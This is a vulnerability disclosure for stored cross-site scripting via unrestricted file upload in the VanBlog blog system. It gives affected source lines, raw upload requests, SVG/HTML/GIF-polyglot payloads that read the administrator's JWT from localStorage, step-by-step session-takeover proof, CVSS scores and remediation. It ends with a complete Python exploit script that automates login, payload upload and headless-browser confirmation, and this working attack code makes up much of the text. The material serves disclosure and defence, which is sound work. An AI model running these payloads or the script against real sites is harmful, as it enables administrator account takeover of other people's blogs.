2026-10-19
cve吗?
00

目录

Title: Stored Cross-Site Scripting (XSS) via Unrestricted File Upload in VanBlog ≤ 0.54.0
Description:
Proof of Concept:
Suggested CVSS
Remediation
Tested Environment
Appendix A: Automated PoC Script (optional, equivalent to the manual steps)
Notes on Appendix A

Stored Cross-Site Scripting (XSS) via Unrestricted File Upload in VanBlog ≤ 0.54.0

Title: Stored Cross-Site Scripting (XSS) via Unrestricted File Upload in VanBlog ≤ 0.54.0

BUG_Author: Geronimo (VulDB UID 102234)

Affected Version: VanBlog ≤ 0.54.0 (all released versions; the master branch build is also affected)

Vendor: Mereithhh/vanblog (GitHub)

Software: VanBlog — self-hosted blog system (NestJS + MongoDB backend, Next.js frontend, Umi admin SPA, Caddy reverse proxy, official Docker image mereith/van-blog)

Vulnerability Files:

  • packages/server/src/types/access/access.ts (line 50 — upload endpoint whitelisted for collaborators)
  • packages/server/src/provider/access/access.guard.ts (lines 12–53 — whitelist → allow, default deny otherwise)
  • packages/server/src/controller/admin/img/img.controller.ts (lines 39–61 — upload handler, no type validation)
  • packages/server/src/provider/static/static.provider.ts (lines 51–131 — extension taken from user filename, lines 104–115)
  • packages/server/src/provider/static/local.provider.ts (lines 62–81 — writes bytes verbatim into the static directory)
  • packages/server/src/utils/imgCompress.ts (lines 61–70 — Content-Type only forced for webp/avif)
  • packages/server/src/main.ts (lines 28–31 — express.static mounted at /static/)
  • packages/server/src/app.module.ts (lines 192–202) and packages/server/src/controller/admin/init/init.controller.ts (lines 44–60) — unauthenticated upload path on non-initialized instances

Description:

  1. Unauthenticated/low-privilege access to the upload endpoint:

    • In packages/server/src/types/access/access.ts, the route post-/api/admin/img/upload is placed in the publicRoutes whitelist, which packages/server/src/provider/access/access.guard.ts uses to grant access to any authenticated collaborator — including collaborators whose permissions array is empty.
    • Verified behaviour on a live instance: the same zero-permission collaborator account receives HTTP 403 on GET /api/admin/setting/static but HTTP 201 on POST /api/admin/img/upload.
  2. No file-type validation on upload:

    • packages/server/src/provider/static/static.provider.ts derives the stored extension from the multipart filename:

      ts
      const arr = file.originalname.split('.'); const fileType = arr[arr.length - 1]; // extension fully controlled by the client ... fileName = currentSign + '.' + file.originalname; // original filename kept const storedType = ... : fileType;
    • There is no allow-list for extension, no MIME check and no "must decode as a real image" check.

    • packages/server/src/provider/static/local.provider.ts then writes the attacker-supplied bytes, unmodified, into <staticPath>/img/:

      ts
      const srcPath = path.join(config.staticPath, storagePath, fileName); fs.writeFileSync(srcPath, buffer);
  3. Response Content-Type is chosen from the attacker-controlled extension:

    • packages/server/src/utils/imgCompress.ts only forces a Content-Type for webp/avif; every other extension falls through to send's MIME lookup used by express.static (packages/server/src/main.ts).
    • Therefore an uploaded .html is served as text/html; charset=utf-8 and an uploaded .svg as image/svg+xml — both are parsed and executed by the browser.
    • No Content-Security-Policy and no X-Content-Type-Options: nosniff are emitted by the application or by the shipped CaddyfileTemplate / caddyTemplate.json.
  4. Same-origin with the admin dashboard → session theft:

    • In the official deployment, CaddyfileTemplate serves /static/* and /admin* from the same origin (handle /static/* → 127.0.0.1:3000, handle_path /admin* → /app/admin).
    • The admin SPA stores its JWT in localStorage["token"] (packages/admin/src/components/UploadBtn/index.tsx, services/van-blog/api.js), so JavaScript running from /static/... can read the administrator's session token.
    • The JWT is sent in the token header and is the only session credential (packages/server/src/provider/auth/token.guard.ts), i.e. stealing it equals full admin takeover.
  5. Payload format depends on the build (both are exploitable):

    • master branch: safeImageSize() swallows the image-size exception and falls back to the extension, so a plain .html payload is stored verbatim.
    • Released Docker image v0.54.0: saveImg() calls imageSize(buffer) directly, so non-image bytes are rejected with HTTP 500; however a valid image header is enough to pass — an .svg containing <script> (accepted by image-size, and cwebp cannot re-encode it, so it is stored verbatim) or a GIF89a-header polyglot named .html both work.
    • Because the file is served with the extension-derived type, the SVG executes when opened directly (or embedded in an <iframe>), and the polyglot executes as HTML.
  6. Second, unauthenticated variant (fresh installations):

    • packages/server/src/app.module.ts excludes POST /api/admin/init/upload from InitMiddleware, and InitController.uploadImg has no guard — it only checks checkHasInited() inside the handler.
    • Consequently, from container start until the operator completes /api/admin/init (the default state of every new deployment), anyone who can reach the instance can upload an executable file without any credentials.
  7. Example XSS payload (visible proof, no data exfiltration):

    html
    <svg xmlns="http://www.w3.org/2000/svg" width="820" height="340"><script> var t=localStorage.getItem('token')||'NONE'; var L=['XSS_OK','origin='+location.origin,'tokenLen='+t.length,'token='+t]; var r=document.createElementNS('http://www.w3.org/2000/svg','rect'); r.setAttribute('width','820');r.setAttribute('height','340');r.setAttribute('fill','#fff'); document.documentElement.appendChild(r); L.forEach(function(s,i){var x=document.createElementNS('http://www.w3.org/2000/svg','text'); x.setAttribute('x','8');x.setAttribute('y',''+(22+i*17));x.setAttribute('font-size','12'); x.textContent=s;document.documentElement.appendChild(x);}); </script></svg>

    (Note: JS embedded in an SVG must not contain a raw & or <, otherwise the SVG becomes malformed XML and the browser shows a parse error instead of executing it.)

  8. Requesting the upload endpoint:

    POST /api/admin/img/upload HTTP/1.1 Host: <target> token: <any collaborator JWT, permissions may be []> Content-Type: multipart/form-data; boundary=... Content-Disposition: form-data; name="file"; filename="x.html" Content-Type: text/html <script>alert(document.domain)</script>

    Response:

    json
    {"statusCode":200,"data":{"src":"/static/img/<md5>.x.html","isNew":true}}
  9. Verifying the exploit:

    • GET /static/img/<md5>.x.html returns HTTP 200 with Content-Type: text/html; charset=utf-8, no Content-Security-Policy, no X-Content-Type-Options.
    • Opening that URL in a browser executes the script. When the victim is logged into /admin on the same origin, localStorage["token"] (a ~260-byte HS256 JWT, header eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9) is readable by the payload and can be used against any /api/admin/* endpoint.

图片.png

Proof of Concept:

  1. Log in as a low-privilege collaborator (permissions = []) and confirm the authorization boundary:

    POST /api/admin/auth/login {"username":"collab","password":"<front-end sha256 hash>"} GET /api/admin/setting/static -> HTTP 403 (boundary is enforced)
  2. Upload an executable file through the whitelisted endpoint:

    POST /api/admin/img/upload token: <collaborator JWT> file=@payload.html (filename="payload.html", type="text/html")
    • On master: HTTP 201 → /static/img/<md5>.payload.html
    • On released v0.54.0: HTTP 500 for .html; repeat with payload.svg (type="image/svg+xml") → HTTP 201 → /static/img/<md5>.payload.svg
  3. Confirm the file is served as an executable document:

    GET /static/img/<md5>.payload.svg -> HTTP 200, Content-Type: image/svg+xml, no CSP, no nosniff
  4. Trigger the stored XSS and steal the administrator session:

    • Open <origin>/admin/ and log in as the site administrator.

    • In the same browser, open <origin>/static/img/<md5>.payload.svg.

    • The page renders the value of localStorage["token"], e.g.:

      XSS_OK origin=https://<target> tokenLen=260 token=<full JWT>
    • Decoding the JWT payload yields {"username":"admin","sub":0,"type":"admin",...}; sub:0 is the super administrator.

  5. Prove the stolen token is live (session takeover):

    GET /api/admin/collaborator with header token: <stolen JWT> -> HTTP 200 (admin-only endpoint)
  6. Unauthenticated variant (non-initialized instance only):

    GET /api/admin/meta -> {"statusCode":233,"message":"未初始化!"} POST /api/admin/init/upload (no token at all) file=@payload.svg -> HTTP 201 {"src":"/static/img/<md5>.payload.svg"}

Impact

An authenticated collaborator without any permission — or, on a not-yet-initialized deployment, any unauthenticated visitor — can store an executable HTML/SVG document on the site origin and obtain the administrator's session token when the administrator visits it. This results in complete administrative takeover (site settings, image-host credentials, collaborator management, article import/export) and enables persistent backdooring of the instance.

Suggested CVSS

  • Authenticated (collaborator → admin): CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N = 8.7 (High)
  • Unauthenticated (non-initialized instance): CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N = 9.3 (Critical)
  • CWE-434 (Unrestricted Upload of File with Dangerous Type), CWE-79 (Cross-site Scripting, stored), CWE-284 (Improper Access Control)

Remediation

  1. Enforce a strict upload allow-list (extension + MIME + real image decoding); reject anything that is not a decodable image instead of falling back to the client-supplied extension.
  2. Rename stored files server-side to <md5>.<normalized extension> and ignore file.originalname.
  3. Serve /static with X-Content-Type-Options: nosniff and Content-Disposition: attachment for non-image types (or a Content-Security-Policy: sandbox / separate origin).
  4. Remove post-/api/admin/img/upload from the collaborator publicRoutes whitelist and require an explicit img:upload permission.
  5. Add Content-Security-Policy, X-Frame-Options/frame-ancestors and HSTS to the shipped Caddy configuration.
  6. Move the admin JWT from localStorage to a HttpOnly; Secure; SameSite=Strict cookie.
  7. Require an installation token (or bind to 127.0.0.1) for /api/admin/init and /api/admin/init/upload, and put the "has been initialized" check into a guard that runs before the multipart parser.

Tested Environment

  • mereith/van-blog:latest (reports v0.54.0) with mongo:4.4.16, default Caddy reverse proxy, Debian/Alpine official image.
  • master branch built from source (tsc -p tsconfig.build.json, Node 18/24) with the same MongoDB.
  • Browser: Chrome (headless and interactive), payload executed and rendered in both cases.
  • All steps are reproducible manually with a web browser plus Burp Suite or curl; the raw request/response captures are included in the Description section above. A ready-to-run Python PoC script is provided in Appendix A (optional).

Appendix A: Automated PoC Script (optional, equivalent to the manual steps)

Purpose: automates the manual steps in sections 8/9 — login → try three payload forms in order (plain .html / .svg / GIF-header polyglot) → verify the served headers and body → print the executable URL and an audit summary.

Properties: (1) hard upload cap of 3 (MAX_UPLOADS), stops on first success; (2) automatically adapts to the master build and the v0.54.0 release image; (3) three authentication modes (existing JWT / username+password / anonymous upload on a non-initialized instance); (4) the payload never sends data anywhere, it only renders the result in its own page.

Usage: fill BASE_URL, USER, PASS (or TOKEN) in the CONFIG block at the top of the script, then run:

bash python vanblog_xss_poc.py --recon # reconnaissance only, 0 uploads python vanblog_xss_poc.py # full verification, at most 3 uploads

Dependencies: Python standard library only.

python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ VanBlog Stored XSS - universal (version-agnostic) verification script ================================================================================ Applies to: VanBlog master source builds AND v0.54.0 (and earlier) release images. The payload format differs between them; this script probes automatically and falls back. Vulnerability: unrestricted file-type upload -> stored XSS - the upload endpoint validates neither extension, MIME type nor real image content - static files are served with a Content-Type derived from the extension - no Content-Security-Policy and no X-Content-Type-Options:nosniff - /static and /admin share one origin -> localStorage['token'] (admin session) is readable Three authentication modes (chosen automatically, top to bottom): 1) TOKEN an existing JWT (browser F12 -> Application -> Local Storage -> token) 2) USER/PASS account credentials (plaintext or the 64-char front-end hash) 3) both empty: fall back to the anonymous upload path of a non-initialized instance (/api/admin/init/upload; only usable before the instance is initialized, PR:N variant) Scope and safety constraints: - MAX_UPLOADS is a hard cap (default 3); anything beyond is refused; stops on first success - the payload sends data nowhere; it only renders the result inside its own page - nothing is deleted by default (CLEANUP_AFTER=True removes only files uploaded by this run) Usage: python vanblog_xss_poc.py --recon # reconnaissance only (0 uploads) python vanblog_xss_poc.py # full verification (at most MAX_UPLOADS uploads) python vanblog_xss_poc.py --base URL --user U --pass P python vanblog_xss_poc.py --base URL --token <JWT> python vanblog_xss_poc.py --help Exit codes: 0=vulnerable 1=not reproduced/patched 3=configuration or authentication failure Python standard library only; the browser self-check is optional. """ # ============================================================================ # === CONFIG BLOCK (empty = fill in; command-line options override) === # ============================================================================ # --- Target ----------------------------------------------------------------- BASE_URL = "" # required | site/API base URL, e.g. "https://blog.example.com" ADMIN_URL = "" # optional | admin entry, e.g. "https://blog.example.com/admin/" # leave empty to derive it as BASE_URL + "/admin/" # --- Authentication (pick ONE mode; leave all empty for anonymous upload) ----- TOKEN = "" # optional | existing JWT, e.g. "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxxxx.yyyyy" USER = "" # optional | account name, e.g. "collab" PASS = "" # optional | plaintext or the 64-char front-end hash. # plaintext e.g. "MyPass123" hash e.g. "0123456789abcdef...(64 hex chars)" # --- Behaviour switches ------------------------------------------------------ MAX_UPLOADS = 3 # hard upload cap (how many files you are authorized to upload) SHOW_FULL_TOKEN = True # True=render the full token (80 chars per line; redact it yourself) # False=render only the first 12 characters VERIFY_WITH_BROWSER = True # open the payload once in headless Chrome to prove it executes CHROME_PATH = "" # leave empty to auto-detect Chrome/Edge CLEANUP_AFTER = False # True=delete the files uploaded by this run (default: keep) TIMEOUT = 25 # ============================================================================ import argparse import base64 import hashlib import json import os import random import shutil import string import subprocess import sys import tempfile import time import urllib.error import urllib.parse import urllib.request UPLOADS = 0 # number of uploads already performed CREATED = [] # files created by this run (for cleanup) # ---------------------------------------------------------------- helpers def sha256_hex(s): return hashlib.sha256(s.encode("utf-8")).hexdigest() def encrypt_pwd(username, password): """Mirrors the front-end packages/admin/src/services/van-blog/encryptPwd.js: sha256(lower(u) + sha256(sha256(sha256(sha256(p))) + sha256(lower(u)))) """ u = username.lower() a = password for _ in range(4): a = sha256_hex(a) return sha256_hex(u + sha256_hex(a + sha256_hex(u))) def is_front_hash(s): s = str(s) return len(s) == 64 and all(c in "0123456789abcdefABCDEF" for c in s) def marker(n=6): return "".join(random.choices(string.ascii_lowercase + string.digits, k=n)) def origin_of(url): u = urllib.parse.urlsplit(url) if not u.scheme: return url.rstrip("/") default = 443 if u.scheme == "https" else 80 if u.port and u.port != default: return "%s://%s:%s" % (u.scheme, u.hostname, u.port) return "%s://%s" % (u.scheme, u.hostname) def jwt_payload(tok): """Best-effort decode of the JWT payload segment (no signature check).""" try: seg = tok.split(".")[1] seg += "=" * (-len(seg) % 4) return json.loads(base64.urlsafe_b64decode(seg).decode("utf-8", "replace")) except Exception: return None def hdr(t): print("=" * 78, flush=True) print(t, flush=True) print("=" * 78, flush=True) def ok(m): print(" [PASS] " + m, flush=True) def bad(m): print(" [FAIL] " + m, flush=True) def info(m): print(" [ .. ] " + m, flush=True) # ---------------------------------------------------------------- HTTP def build_multipart(field, filename, content, ctype): b = "----vbxss" + "".join(random.choices(string.ascii_letters + string.digits, k=16)) body = b"" body += ("--%s\r\n" % b).encode() body += ('Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (field, filename)).encode() body += ("Content-Type: %s\r\n\r\n" % ctype).encode() body += content + b"\r\n" body += ("--%s--\r\n" % b).encode() return body, "multipart/form-data; boundary=" + b def req(cfg, method, path, token=None, json_body=None, body=None, headers=None): url = path if path.startswith("http") else cfg["base"].rstrip("/") + path hdrs = dict(headers or {}) if token: hdrs["token"] = token data = None if json_body is not None: data = json.dumps(json_body).encode() hdrs.setdefault("Content-Type", "application/json") elif body is not None: data = body r = urllib.request.Request(url, data=data, headers=hdrs, method=method) try: with urllib.request.urlopen(r, timeout=cfg["timeout"]) as resp: return resp.status, dict(resp.headers), resp.read() except urllib.error.HTTPError as e: return e.code, dict(e.headers), e.read() except Exception as e: return 0, {}, str(e).encode() def jreq(cfg, method, path, token=None, json_body=None): st, hd, raw = req(cfg, method, path, token, json_body) try: return st, hd, json.loads(raw.decode("utf-8", "replace")) except Exception: return st, hd, {} def do_upload(cfg, anon, filename, content, ctype, token): """The only upload entry point: enforces the hard budget and both endpoints.""" global UPLOADS if UPLOADS >= cfg["max_uploads"]: print(" [STOP] upload cap %d reached, refusing to continue" % cfg["max_uploads"], flush=True) return 0, {}, b"" UPLOADS += 1 path = "/api/admin/init/upload" if anon else "/api/admin/img/upload" body, ct = build_multipart("file", filename, content, ctype) print(" [UPLOAD %d/%d] %s -> %s" % (UPLOADS, cfg["max_uploads"], filename, path), flush=True) return req(cfg, "POST", path, token, body=body, headers={"Content-Type": ct}) # ---------------------------------------------------------------- payload def payload_js(mk, show_full): """Renders the result in both HTML and SVG documents. In XML, a bare & or < is illegal: use match() chunking + forEach instead of comparison operators.""" if show_full: js_tok = ( "var t=localStorage.getItem('token')||'NONE';" "var C=t.match(/.{1,80}/g)||[];" "var L=['XSS_OK_%s','origin='+location.origin,'tokenLen='+t.length];" "if(C.length){C.forEach(function(s,i){L.push('token'+(i?'+':'')+'='+s)});}" "else{L.push('token=NONE(no session in this browser)');}" % mk) else: js_tok = ( "var t=localStorage.getItem('token')||'NONE';" "var L=['XSS_OK_%s','origin='+location.origin,'tokenLen='+t.length," "'tokenHead='+t.slice(0,12)];" % mk) return (js_tok + "try{document.title='XSS-%s';}catch(e){}" "try{" "var NS='http://www.w3.org/2000/svg';" "var de=document.documentElement;" "if(de.namespaceURI===NS){" "var r=document.createElementNS(NS,'rect');" "r.setAttribute('width','820');r.setAttribute('height','340');r.setAttribute('fill','#ffffff');" "de.appendChild(r);" "L.forEach(function(s,i){" "var x=document.createElementNS(NS,'text');" "x.setAttribute('x','8');x.setAttribute('y',''+(22+i*17));" "x.setAttribute('font-size','12');x.setAttribute('font-family','monospace');" "x.setAttribute('fill','#c00000');x.textContent=s;de.appendChild(x);});" "}else{" "var pre=document.createElement('pre');" "pre.setAttribute('style','font:13px monospace;padding:12px;color:#c00000;white-space:pre-wrap;word-break:break-all');" "pre.textContent=L.join('\\n');document.body.appendChild(pre);}" "}catch(e){try{document.body.appendChild(document.createTextNode('XSS_ERR '+e));}catch(e2){}}" % mk).encode() def forms(mk, show_full): """Three payload forms, ordered by likelihood for the current build; stops on success.""" js = payload_js(mk, show_full) html = b"<!DOCTYPE html><html><body><script>" + js + b"</script></body></html>" svg = (b'<svg xmlns="http://www.w3.org/2000/svg" width="820" height="340"><script>' + js + b"</script></svg>") poly = b"GIF89a" + bytes([1, 0, 1, 0]) + b"<script>" + js + b"</script>" return [ ("plain .html (master build)", "x_%s.html" % mk, html, "text/html"), ("SVG with inline script (v0.54.0 and earlier)", "x_%s.svg" % mk, svg, "image/svg+xml"), ("GIF-header polyglot named .html (both builds)", "x_%s_p.html" % mk, poly, "text/html"), ] # ---------------------------------------------------------------- browser self-check def find_chrome(cfg): if cfg["chrome"] and os.path.exists(cfg["chrome"]): return cfg["chrome"] for c in (r"C:\Program Files\Google\Chrome\Application\chrome.exe", r"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe", r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe", r"C:\Program Files\Microsoft\Edge\Application\msedge.exe", "/usr/bin/google-chrome", "/usr/bin/chromium", "/usr/bin/chromium-browser"): if os.path.exists(c): return c return None def browser_check(cfg, url, mk): if not cfg["browser"]: return None, "disabled (VERIFY_WITH_BROWSER=False)" exe = find_chrome(cfg) if not exe: return None, "Chrome/Edge not found, skipping" prof = tempfile.mkdtemp(prefix="vbxss-") try: cp = subprocess.run( [exe, "--headless=new", "--disable-gpu", "--no-sandbox", "--no-first-run", "--no-default-browser-check", "--user-data-dir=" + prof, "--virtual-time-budget=6000", "--dump-dom", url], capture_output=True, timeout=60) dom = (cp.stdout or b"").decode("utf-8", "replace") if "parsererror" in dom: return False, "browser rejected the SVG as malformed XML (unescaped character in payload)" if "XSS_OK_" + mk in dom: return True, "DOM contains XSS_OK_%s (script executed and rendered)" % mk if "XSS_ERR" in dom: return False, "script executed but threw (DOM contains XSS_ERR)" return False, "expected marker not found in the DOM" except Exception as e: return None, "browser check failed: %r" % (e,) finally: shutil.rmtree(prof, ignore_errors=True) # ---------------------------------------------------------------- authentication def resolve_session(cfg): """Returns (token or None, anon flag, description).""" if cfg["token"]: return cfg["token"], False, "using the configured TOKEN" if cfg["user"] and cfg["pass"]: pw = cfg["pass"] if is_front_hash(cfg["pass"]) else encrypt_pwd(cfg["user"], cfg["pass"]) kind = "front-end hash" if is_front_hash(cfg["pass"]) else "plaintext -> local hash" st, _, j = jreq(cfg, "POST", "/api/admin/auth/login", json_body={"username": cfg["user"], "password": pw}) tok = ((j.get("data") or {}).get("token")) if isinstance(j, dict) else None info("login %s (password form: %s) -> HTTP %s token=%s" % (cfg["user"], kind, st, "yes" if tok else "no")) if tok: return tok, False, "account %s" % cfg["user"] return None, False, "login failed (HTTP %s)" % st return None, True, "no credentials configured -> trying anonymous upload (non-initialized only)" # ---------------------------------------------------------------- phase 1: recon def recon(cfg): hdr("Phase 1 - reconnaissance (0 uploads)") st, _, j = jreq(cfg, "GET", "/api/public/meta") ver = ((j.get("data") or {}).get("version")) if isinstance(j, dict) else None info("GET /api/public/meta -> HTTP %s version=%s" % (st, ver)) if st != 200: bad("target unreachable or not VanBlog: %s" % cfg["base"]) return None site = ((j.get("data") or {}).get("meta") or {}).get("siteInfo") or {} if site.get("siteName"): info("site: %s baseUrl=%s" % (site.get("siteName"), site.get("baseUrl"))) # whether the instance is initialized (decides if anonymous mode is possible) st_i, _, j_i = jreq(cfg, "GET", "/api/admin/meta") inited = not (isinstance(j_i, dict) and j_i.get("statusCode") == 233) info("instance initialization state: %s (%s)" % ("initialized" if inited else "not initialized", "anonymous upload works only before initialization")) tok, anon, note = resolve_session(cfg) info("authentication: %s" % note) if tok: st3, _, j3 = jreq(cfg, "GET", "/api/admin/meta", tok) u = ((j3.get("data") or {}).get("user")) or {} info("current session: name=%s id=%s type=%s permissions=%s" % (u.get("name"), u.get("id"), u.get("type"), u.get("permissions"))) st4, _, _ = req(cfg, "GET", "/api/admin/setting/static", tok) info("GET /api/admin/setting/static -> HTTP %s (200=admin / 403=collaborator)" % st4) p = jwt_payload(tok) if p: info("JWT payload: %s" % json.dumps(p, ensure_ascii=False)) elif anon and inited: bad("no credentials configured and the instance is already initialized -> anonymous upload unavailable; set TOKEN or USER/PASS") return None st5, _, _ = req(cfg, "GET", "/admin/") info("GET /admin/ -> HTTP %s (admin entry reachability)" % st5) return {"version": ver, "inited": inited, "token": tok, "anon": anon} # ---------------------------------------------------------------- phase 2: upload def run_upload_phase(cfg, sess): hdr("Phase 2 - stored XSS verification (upload budget %d, stops on first success)" % cfg["max_uploads"]) mk = marker() info("unique marker for this run = %s" % mk) if sess["anon"]: info("mode: anonymous upload (PR:N) /api/admin/init/upload") else: info("mode: authenticated upload /api/admin/img/upload (token ready)") hit = None attempts = [] for name, fname, payload, ctype_decl in forms(mk, cfg["show_full_token"]): st, _, raw = do_upload(cfg, sess["anon"], fname, payload, ctype_decl, sess["token"]) try: j = json.loads(raw.decode("utf-8", "replace")) except Exception: j = {} src = ((j.get("data") or {}).get("src")) attempts.append({"form": name, "http": st, "src": src}) print(" form: %s" % name, flush=True) print(" -> HTTP %s %s" % (st, src or raw[:110]), flush=True) if st not in (200, 201) or not src: if UPLOADS >= cfg["max_uploads"]: break continue CREATED.append(src) s2, hd, bd = req(cfg, "GET", src) ct = (hd.get("Content-Type") or "").lower() csp = hd.get("Content-Security-Policy") nosniff = (hd.get("X-Content-Type-Options") or "").lower() executable = ct.startswith("text/html") or ct.startswith("image/svg+xml") intact = mk.encode() in bd print(" read-back HTTP=%s Content-Type=%s contains marker=%s" % (s2, ct, intact), flush=True) if s2 == 200 and executable and intact: hit = {"form": name, "src": src, "ctype": ct, "csp": csp, "nosniff": nosniff, "body": bd, "http": st} break if UPLOADS >= cfg["max_uploads"]: break print() print("-" * 78, flush=True) if not hit: bad("no executable payload could be planted within %d uploads - the target may have patched the validation." % UPLOADS) for a in attempts: info("%s -> HTTP %s" % (a["form"], a["http"])) print("-" * 78, flush=True) return 1 admin_origin = origin_of(cfg["admin_url"]) url_admin = admin_origin + hit["src"] build_type = ("master source build" if "plain .html" in hit["form"] else "v0.54.0 and earlier release image" if "SVG" in hit["form"] else "generic (polyglot)") # results ok("winning form: %s" % hit["form"]) ok("Content-Type:%s" % hit["ctype"]) ok("no CSP: %s" % (not hit["csp"])) ok("no nosniff: %s" % ("nosniff" not in hit["nosniff"])) ok("body served unchanged: %s" % (mk.encode() in hit["body"])) info("inferred build type: %s" % build_type) info("uploads used: %d / %d" % (UPLOADS, cfg["max_uploads"])) print() info("[browser verification URL] must be same-origin with the admin panel and opened while logged in:") print(" %s" % url_admin, flush=True) if cfg["show_full_token"]: info("the page renders the full token (80 chars per line); the self-check uses a fresh") info("temporary profile with no session, so tokenLen will be 4 (NONE) - that is expected.") else: info("the page renders only the first 12 characters of the token.") b_ok, b_msg = browser_check(cfg, url_admin, mk) if b_ok is True: ok("browser self-check: %s" % b_msg) elif b_ok is False: bad("browser self-check: %s" % b_msg) else: info("browser self-check skipped: %s" % b_msg) if cfg["cleanup"]: print() info("--cleanup enabled, deleting the files uploaded by this run...") for src in CREATED: nm = os.path.basename(src) st, _, j = jreq(cfg, "GET", "/api/admin/img?page=1&pageSize=100", sess["token"]) items = ((j.get("data") or {}).get("data")) or [] tgt = next((x for x in items if x.get("name") == nm or x.get("realPath") == src), None) if tgt and tgt.get("sign"): stx, _, _ = req(cfg, "DELETE", "/api/admin/img/" + tgt["sign"], sess["token"]) info("delete %s -> HTTP %s" % (nm, stx)) else: info("%s not found in the image-host list, skipping" % nm) # ---------------- structured summary for the CVE report ---------------- print() hdr("Audit summary (paste into the report; redact the token)") print(" Target : %s" % cfg["base"], flush=True) print(" Version : %s" % sess["version"], flush=True) print(" Build type : %s" % build_type, flush=True) print(" Instance : %s" % ("initialized" if sess["inited"] else "not initialized"), flush=True) print(" Auth : %s%s" % ("anonymous (PR:N)" if sess["anon"] else "authenticated", "" if sess["anon"] else " / " + str( (jwt_payload(sess["token"]) or {}).get("type", "?"))), flush=True) print(" Winning form : %s (HTTP %s)" % (hit["form"], hit["http"]), flush=True) print(" Stored path : %s" % hit["src"], flush=True) print(" Response hdrs : Content-Type=%s CSP=%s X-Content-Type-Options=%s" % (hit["ctype"], hit["csp"] or "none", hit["nosniff"] or "none"), flush=True) print(" Same origin : %s and %s share one origin = %s" % ("/static", "/admin", origin_of(cfg["admin_url"]) == origin_of(cfg["base"])), flush=True) print(" Uploads : %d" % UPLOADS, flush=True) print(" Verify URL : %s" % url_admin, flush=True) print("-" * 78, flush=True) print("Conclusion: stored XSS reproduced (VULNERABLE)", flush=True) return 0 # ---------------------------------------------------------------- main def build_cfg(args): base = (args.base or BASE_URL or "").strip().rstrip("/") admin = (args.admin_url or ADMIN_URL or "").strip() if not admin and base: admin = base + "/admin/" return { "base": base, "admin_url": admin, "token": (args.token or TOKEN or "").strip(), "user": (args.user or USER or "").strip(), "pass": (args.password or PASS or ""), "max_uploads": args.max_uploads if args.max_uploads is not None else MAX_UPLOADS, "show_full_token": (SHOW_FULL_TOKEN if args.no_full_token is None else (not args.no_full_token)), "browser": (VERIFY_WITH_BROWSER if args.no_browser is None else (not args.no_browser)), "chrome": CHROME_PATH, "cleanup": (CLEANUP_AFTER if not args.cleanup else True), "timeout": TIMEOUT, } def main(): ap = argparse.ArgumentParser( description="VanBlog stored XSS universal verification (master / v0.54.0 release image)", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="Examples:\n" " python vanblog_xss_poc.py --base http://target --user collab --recon\n" " python vanblog_xss_poc.py --base http://target --token eyJ...\n" " python vanblog_xss_poc.py --base http://target --user u --pass 'p' --cleanup\n") ap.add_argument("--base", help="site/API base URL (overrides BASE_URL)") ap.add_argument("--admin-url", dest="admin_url", help="admin entry (default BASE_URL + /admin/)") ap.add_argument("--token", help="existing JWT") ap.add_argument("--user", help="account name") ap.add_argument("--pass", dest="password", help="password (plaintext or front-end 64-char hash)") ap.add_argument("--max-uploads", type=int, dest="max_uploads", help="upload cap (default from the config block; keep it at or below 3)") ap.add_argument("--no-full-token", action="store_true", default=None, help="render only the first 12 characters of the token (default: full)") ap.add_argument("--no-browser", action="store_true", default=None, help="skip the headless-browser self-check") ap.add_argument("--cleanup", action="store_true", help="delete the files uploaded by this run") ap.add_argument("--recon", action="store_true", help="reconnaissance only, no upload") args = ap.parse_args() cfg = build_cfg(args) print("-" * 78, flush=True) print("Effective configuration", flush=True) print(" BASE_URL = %s" % (cfg["base"] or "(not set)"), flush=True) print(" ADMIN_URL = %s" % (cfg["admin_url"] or "(auto-derived)"), flush=True) print(" Auth = %s" % ("TOKEN" if cfg["token"] else ("USER/PASS: " + cfg["user"] if cfg["user"] else "anonymous (non-initialized instance)")), flush=True) print(" MAX_UPLOADS = %d" % cfg["max_uploads"], flush=True) print(" Full token = %s" % cfg["show_full_token"], flush=True) print(" Browser check = %s" % cfg["browser"], flush=True) print(" Cleanup = %s" % cfg["cleanup"], flush=True) print("-" * 78, flush=True) if not cfg["base"]: bad("BASE_URL is not configured. Edit the CONFIG block at the top of this script, or pass --base, e.g.:") print(' python vanblog_xss_poc.py --base "https://blog.example.com" ' '--user collab --pass "MyPass123"', flush=True) return 3 if cfg["max_uploads"] > 3: print(" [WARN] MAX_UPLOADS > 3, make sure your authorization allows that.", flush=True) sess = recon(cfg) if not sess: return 3 if args.recon: print() info("reconnaissance-only run finished (0 uploads)") return 0 return run_upload_phase(cfg, sess) if __name__ == "__main__": sys.exit(main())

Notes on Appendix A

  • The script is intended for authorized security testing only; MAX_UPLOADS defaults to 3, do not run it against targets you are not allowed to test.
  • It only calls POST /api/admin/img/upload (or POST /api/admin/init/upload on a non-initialized instance) plus read-only GET /api/admin/* endpoints. It does not delete or modify any data (CLEANUP_AFTER=False).
  • The printed verification URL must be opened in a browser that is logged in and same-origin with the admin panel, otherwise localStorage["token"] will be empty and only tokenLen=4 will be shown.